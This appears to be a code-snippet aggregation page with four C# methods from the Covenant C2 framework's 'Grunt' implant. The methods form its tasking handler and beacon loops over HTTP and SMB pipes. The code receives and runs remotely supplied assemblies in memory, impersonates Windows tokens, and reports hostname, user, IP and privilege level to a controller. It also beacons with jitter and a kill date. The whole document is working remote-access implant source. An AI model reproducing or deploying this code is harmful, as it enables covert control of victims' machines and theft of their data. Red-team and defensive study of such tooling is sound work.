Example #1
0
        private static IntPtr TaskExecute(TaskingMessenger messenger, GruntTaskingMessage message)
        {
            string output = "";

            try
            {
                if (message.Type == GruntTaskingType.Assembly)
                {
                    string[] pieces = message.Message.Split(',');
                    if (pieces.Length > 0)
                    {
                        object[] parameters = null;
                        if (pieces.Length > 1)
                        {
                            parameters = new object[pieces.Length - 1];
                        }
                        for (int i = 1; i < pieces.Length; i++)
                        {
                            parameters[i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i]));
                        }
                        byte[]   compressedBytes   = Convert.FromBase64String(pieces[0]);
                        byte[]   decompressedBytes = Utilities.Decompress(compressedBytes);
                        Assembly gruntTask         = Assembly.Load(decompressedBytes);
                        var      results           = gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters);
                        if (results != null)
                        {
                            output += (string)results;
                        }
                    }
                }
                else if (message.Type == GruntTaskingType.Connect)
                {
                    string[] split     = message.Message.Split(',');
                    bool     connected = messenger.Connect(split[0], split[1]);
                    output += connected ? "Connection to " + split[0] + ":" + split[1] + " succeeded!" :
                              "Connection to " + split[0] + ":" + split[1] + " failed.";
                }
                else if (message.Type == GruntTaskingType.Disconnect)
                {
                    bool disconnected = messenger.Disconnect(message.Message);
                    output += disconnected ? "Disconnect succeeded!" : "Disconnect failed.";
                }
            }
            catch (Exception e)
            {
                output += "Task Exception: " + e.Message + Environment.NewLine + e.StackTrace;
            }
            finally
            {
                try
                {
                    messenger.WriteTaskingMessage(output, message.Name);
                }
                catch (Exception) { }
            }
            return(WindowsIdentity.GetCurrent().Token);
        }
Example #2
0
        private static IntPtr TaskExecute(TaskingMessenger messenger, GruntTaskingMessage message)
        {
            const int MAX_MESSAGE_SIZE = 1048576;
            string    output           = "";

            try
            {
                if (message.Type == GruntTaskingType.Assembly)
                {
                    string[] pieces = message.Message.Split(',');
                    if (pieces.Length > 0)
                    {
                        object[] parameters = null;
                        if (pieces.Length > 1)
                        {
                            parameters = new object[pieces.Length - 1];
                        }
                        for (int i = 1; i < pieces.Length; i++)
                        {
                            parameters[i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i]));
                        }
                        byte[]       compressedBytes   = Convert.FromBase64String(pieces[0]);
                        byte[]       decompressedBytes = Utilities.Decompress(compressedBytes);
                        Assembly     gruntTask         = Assembly.Load(decompressedBytes);
                        PropertyInfo streamProp        = gruntTask.GetType("Task").GetProperty("OutputStream");
                        string       results           = "";
                        Thread       invokeThread      = new Thread(() => results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters));
                        if (streamProp == null)
                        {
                            invokeThread.Start();
                        }
                        else
                        {
                            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable))
                            {
                                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString()))
                                {
                                    streamProp.SetValue(null, pipeClient, null);
                                    DateTime lastTime = DateTime.Now;
                                    invokeThread.Start();
                                    using (StreamReader reader = new StreamReader(pipeServer))
                                    {
                                        char[] read = new char[MAX_MESSAGE_SIZE];
                                        int    count;
                                        string currentRead = "";
                                        while ((count = reader.Read(read, 0, read.Length)) > 0)
                                        {
                                            try
                                            {
                                                currentRead += new string(read, 0, count);
                                                if (currentRead.Length >= MAX_MESSAGE_SIZE)
                                                {
                                                    for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE)
                                                    {
                                                        string aRead = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i));
                                                        try
                                                        {
                                                            GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, aRead);
                                                            messenger.QueueTaskingMessage(response.ToJson(), message.Name);
                                                            messenger.WriteTaskingMessage();
                                                        }
                                                        catch (Exception) {}
                                                    }
                                                    currentRead = "";
                                                    lastTime    = DateTime.Now;
                                                }
                                            }
                                            catch (Exception) { currentRead = ""; }
                                        }
                                        output += currentRead;
                                    }
                                }
                            }
                        }
                        invokeThread.Join();
                        output += results;
                    }
                }
                else if (message.Type == GruntTaskingType.Connect)
                {
                    string[] split     = message.Message.Split(',');
                    bool     connected = messenger.Connect(split[0], split[1]);
                    output += connected ? "Connection to " + split[0] + ":" + split[1] + " succeeded!" :
                              "Connection to " + split[0] + ":" + split[1] + " failed.";
                }
                else if (message.Type == GruntTaskingType.Disconnect)
                {
                    bool disconnected = messenger.Disconnect(message.Message);
                    output += disconnected ? "Disconnect succeeded!" : "Disconnect failed.";
                }
            }
            catch (Exception e)
            {
                try
                {
                    GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "Task Exception: " + e.Message + Environment.NewLine + e.StackTrace);
                    messenger.QueueTaskingMessage(response.ToJson(), message.Name);
                    messenger.WriteTaskingMessage();
                }
                catch (Exception) { }
            }
            finally
            {
                for (int i = 0; i < output.Length; i += MAX_MESSAGE_SIZE)
                {
                    string aRead = output.Substring(i, Math.Min(MAX_MESSAGE_SIZE, output.Length - i));
                    try
                    {
                        GruntTaskingStatus          status   = i + MAX_MESSAGE_SIZE < output.Length ? GruntTaskingStatus.Progressed : GruntTaskingStatus.Completed;
                        GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(status, aRead);
                        messenger.QueueTaskingMessage(response.ToJson(), message.Name);
                        messenger.WriteTaskingMessage();
                    }
                    catch (Exception) {}
                }
            }
            return(WindowsIdentity.GetCurrent().Token);
        }
Example #3
0
        public static void Execute(string CovenantURI, string CovenantCertHash, string GUID, Aes SessionKey)
        {
            try
            {
                int           Delay                   = Convert.ToInt32(@"{{REPLACE_DELAY}}");
                int           Jitter                  = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}");
                int           ConnectAttempts         = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
                DateTime      KillDate                = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}"));
                List <string> ProfileHttpHeaderNames  = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpGetResponse  = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool          UseCertPinning          = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");

                string Hostname  = Dns.GetHostName();
                string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString();
                foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
                {
                    if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                    {
                        IPAddress = a.ToString();
                        break;
                    }
                }
                string OperatingSystem = Environment.OSVersion.ToString();
                string Process         = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                int    Integrity       = 2;
                if (Environment.UserName.ToLower() == "system")
                {
                    Integrity = 4;
                }
                else
                {
                    var identity = WindowsIdentity.GetCurrent();
                    if (identity.Owner != identity.User)
                    {
                        Integrity = 3;
                    }
                }
                string UserDomainName = Environment.UserDomainName;
                string UserName       = Environment.UserName;

                string     RegisterBody  = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
                IMessenger baseMessenger = null;
                baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls);
                baseMessenger.Read();
                baseMessenger.Identifier = GUID;
                TaskingMessenger messenger = new TaskingMessenger
                                             (
                    new MessageCrafter(GUID, SessionKey),
                    baseMessenger,
                    new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse)
                                             );
                messenger.WriteTaskingMessage(RegisterBody);
                messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message);
                try
                {
                    // A blank upward write, this helps in some cases with an HTTP Proxy
                    messenger.WriteTaskingMessage("");
                }
                catch (Exception) {}

                List <KeyValuePair <string, Thread> > Tasks = new List <KeyValuePair <string, Thread> >();
                WindowsImpersonationContext           impersonationContext = null;
                Random rnd = new Random();
                int    ConnectAttemptCount = 0;
                bool   alive = true;
                while (alive)
                {
                    int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00)));
                    if (rnd.Next(2) == 0)
                    {
                        change = -change;
                    }
                    Thread.Sleep((Delay + change) * 1000);
                    try
                    {
                        GruntTaskingMessage message = messenger.ReadTaskingMessage();
                        if (message != null)
                        {
                            ConnectAttemptCount = 0;
                            string output = "";
                            if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts)
                            {
                                if (int.TryParse(message.Message, out int val))
                                {
                                    if (message.Type == GruntTaskingType.SetDelay)
                                    {
                                        Delay   = val;
                                        output += "Set Delay: " + Delay;
                                    }
                                    else if (message.Type == GruntTaskingType.SetJitter)
                                    {
                                        Jitter  = val;
                                        output += "Set Jitter: " + Jitter;
                                    }
                                    else if (message.Type == GruntTaskingType.SetConnectAttempts)
                                    {
                                        ConnectAttempts = val;
                                        output         += "Set ConnectAttempts: " + ConnectAttempts;
                                    }
                                }
                                else
                                {
                                    output += "Error parsing: " + message.Message;
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Type == GruntTaskingType.SetKillDate)
                            {
                                if (DateTime.TryParse(message.Message, out DateTime date))
                                {
                                    KillDate = date;
                                    output  += "Set KillDate: " + KillDate.ToString();
                                }
                                else
                                {
                                    output += "Error parsing: " + message.Message;
                                }
                            }
                            else if (message.Type == GruntTaskingType.Exit)
                            {
                                output += "Exited";
                                messenger.WriteTaskingMessage(output, message.Name);
                                return;
                            }
                            else if (message.Type == GruntTaskingType.Tasks)
                            {
                                if (!Tasks.Where(J => J.Value.IsAlive).Any())
                                {
                                    output += "No active tasks!";
                                }
                                else
                                {
                                    output += "Task       Status" + Environment.NewLine;
                                    output += "----       ------" + Environment.NewLine;
                                    output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.IsAlive).Select(T => T.Key + " Active").ToArray());
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Type == GruntTaskingType.TaskKill)
                            {
                                var matched = Tasks.Where(T => T.Value.IsAlive && T.Key.ToLower() == message.Message.ToLower());
                                if (!matched.Any())
                                {
                                    output += "No task with name: " + message.Message;
                                }
                                else
                                {
                                    KeyValuePair <string, Thread> t = matched.First();
                                    t.Value.Abort();
                                    output += "Task: " + t.Key + " killed!";
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Token)
                            {
                                if (impersonationContext != null)
                                {
                                    impersonationContext.Undo();
                                }
                                IntPtr impersonatedToken = IntPtr.Zero;
                                Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message));
                                t.Start();
                                Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t));
                                bool completed = t.Join(5000);
                                if (completed && impersonatedToken != IntPtr.Zero)
                                {
                                    try
                                    {
                                        WindowsIdentity identity = new WindowsIdentity(impersonatedToken);
                                        impersonationContext = identity.Impersonate();
                                    }
                                    catch (ArgumentException) { }
                                }
                                else
                                {
                                    impersonationContext = null;
                                }
                            }
                            else
                            {
                                Thread t = new Thread(() => TaskExecute(messenger, message));
                                t.Start();
                                Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t));
                            }
                        }
                    }
                    catch (ObjectDisposedException e)
                    {
                        ConnectAttemptCount++;
                        messenger.WriteTaskingMessage("");
                    }
                    catch (Exception e)
                    {
                        ConnectAttemptCount++;
                        Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace);
                    }
                    if (ConnectAttemptCount >= ConnectAttempts)
                    {
                        return;
                    }
                    if (KillDate.CompareTo(DateTime.Now) < 0)
                    {
                        return;
                    }
                }
            }
            catch (Exception e) {
                Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
            }
        }
Example #4
0
        public static void Execute(string GUID, Aes SessionKey, NamedPipeServerStream ServerPipe = null, string PipeName = null)
        {
            try
            {
                int      Delay           = Convert.ToInt32(@"{{REPLACE_DELAY}}");
                int      Jitter          = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}");
                int      ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
                DateTime KillDate        = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}"));

                string ProfileReadFormat  = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n");
                string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n");

                string Hostname  = Dns.GetHostName();
                string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString();
                foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
                {
                    if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                    {
                        IPAddress = a.ToString();
                        break;
                    }
                }
                string OperatingSystem = Environment.OSVersion.ToString();
                string Process         = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                int    Integrity       = 2;
                if (Environment.UserName.ToLower() == "system")
                {
                    Integrity = 4;
                }
                else
                {
                    var identity = WindowsIdentity.GetCurrent();
                    if (identity.Owner != identity.User)
                    {
                        Integrity = 3;
                    }
                }
                string UserDomainName = Environment.UserDomainName;
                string UserName       = Environment.UserName;

                string     RegisterBody  = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
                IMessenger baseMessenger = null;
                baseMessenger            = new SMBMessenger(ServerPipe, PipeName);
                baseMessenger.Identifier = GUID;
                TaskingMessenger messenger = new TaskingMessenger
                                             (
                    new MessageCrafter(GUID, SessionKey),
                    baseMessenger,
                    new Profile(ProfileReadFormat, ProfileWriteFormat, GUID)
                                             );
                messenger.WriteTaskingMessage(RegisterBody);
                messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message);
                try
                {
                    // A blank upward write, this helps in some cases with an HTTP Proxy
                    messenger.WriteTaskingMessage("");
                }
                catch (Exception) {}

                List <KeyValuePair <string, Thread> > Jobs = new List <KeyValuePair <string, Thread> >();
                WindowsImpersonationContext           impersonationContext = null;
                Random rnd = new Random();
                int    ConnectAttemptCount = 0;
                bool   alive = true;
                while (alive)
                {
                    int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00)));
                    if (rnd.Next(2) == 0)
                    {
                        change = -change;
                    }
                    Thread.Sleep((Delay + change) * 1000);
                    try
                    {
                        GruntTaskingMessage message = messenger.ReadTaskingMessage();
                        if (message != null)
                        {
                            ConnectAttemptCount = 0;
                            string output = "";
                            if (message.Type == GruntTaskingType.SetOption)
                            {
                                string[] split = message.Message.Split(',');
                                if (split.Length >= 2 && int.TryParse(split[1], out int val))
                                {
                                    if (split[0].Equals("Delay", StringComparison.CurrentCultureIgnoreCase))
                                    {
                                        Delay   = val;
                                        output += "Set Delay: " + Delay;
                                    }
                                    else if (split[0].Equals("JitterPercent", StringComparison.CurrentCultureIgnoreCase))
                                    {
                                        Jitter  = val;
                                        output += "Set JitterPercent: " + Jitter;
                                    }
                                    else if (split[0].Equals("ConnectAttempts", StringComparison.CurrentCultureIgnoreCase))
                                    {
                                        ConnectAttempts = val;
                                        output         += "Set ConnectAttempts: " + ConnectAttempts;
                                    }
                                }
                                else
                                {
                                    output += "Error parsing SetOption: " + message.Message;
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Type == GruntTaskingType.Exit)
                            {
                                output += "Exited";
                                messenger.WriteTaskingMessage(output, message.Name);
                                return;
                            }
                            else if (message.Type == GruntTaskingType.Jobs)
                            {
                                if (!Jobs.Where(J => J.Value.IsAlive).Any())
                                {
                                    output += "No active tasks!";
                                }
                                else
                                {
                                    output += "Task       Status" + Environment.NewLine;
                                    output += "----       ------" + Environment.NewLine;
                                    output += String.Join(Environment.NewLine, Jobs.Where(J => J.Value.IsAlive).Select(J => J.Key + " Active").ToArray());
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Token)
                            {
                                if (impersonationContext != null)
                                {
                                    impersonationContext.Undo();
                                }
                                IntPtr impersonatedToken = IntPtr.Zero;
                                impersonatedToken = TaskExecute(messenger, message);
                                if (impersonatedToken != IntPtr.Zero)
                                {
                                    try
                                    {
                                        WindowsIdentity identity = new WindowsIdentity(impersonatedToken);
                                        impersonationContext = identity.Impersonate();
                                    }
                                    catch (ArgumentException) { }
                                }
                                else
                                {
                                    impersonationContext = null;
                                }
                            }
                            else
                            {
                                Thread t = new Thread(() => TaskExecute(messenger, message));
                                t.Start();
                                Jobs.Add(new KeyValuePair <string, Thread>(message.Name, t));
                            }
                        }
                    }
                    catch (ObjectDisposedException e)
                    {
                        ConnectAttemptCount++;
                        messenger.WriteTaskingMessage("");
                    }
                    catch (Exception e)
                    {
                        ConnectAttemptCount++;
                        Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace);
                    }
                    if (ConnectAttemptCount >= ConnectAttempts)
                    {
                        return;
                    }
                    if (KillDate.CompareTo(DateTime.Now) < 0)
                    {
                        return;
                    }
                }
            }
            catch (Exception e) {
                Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
            }
        }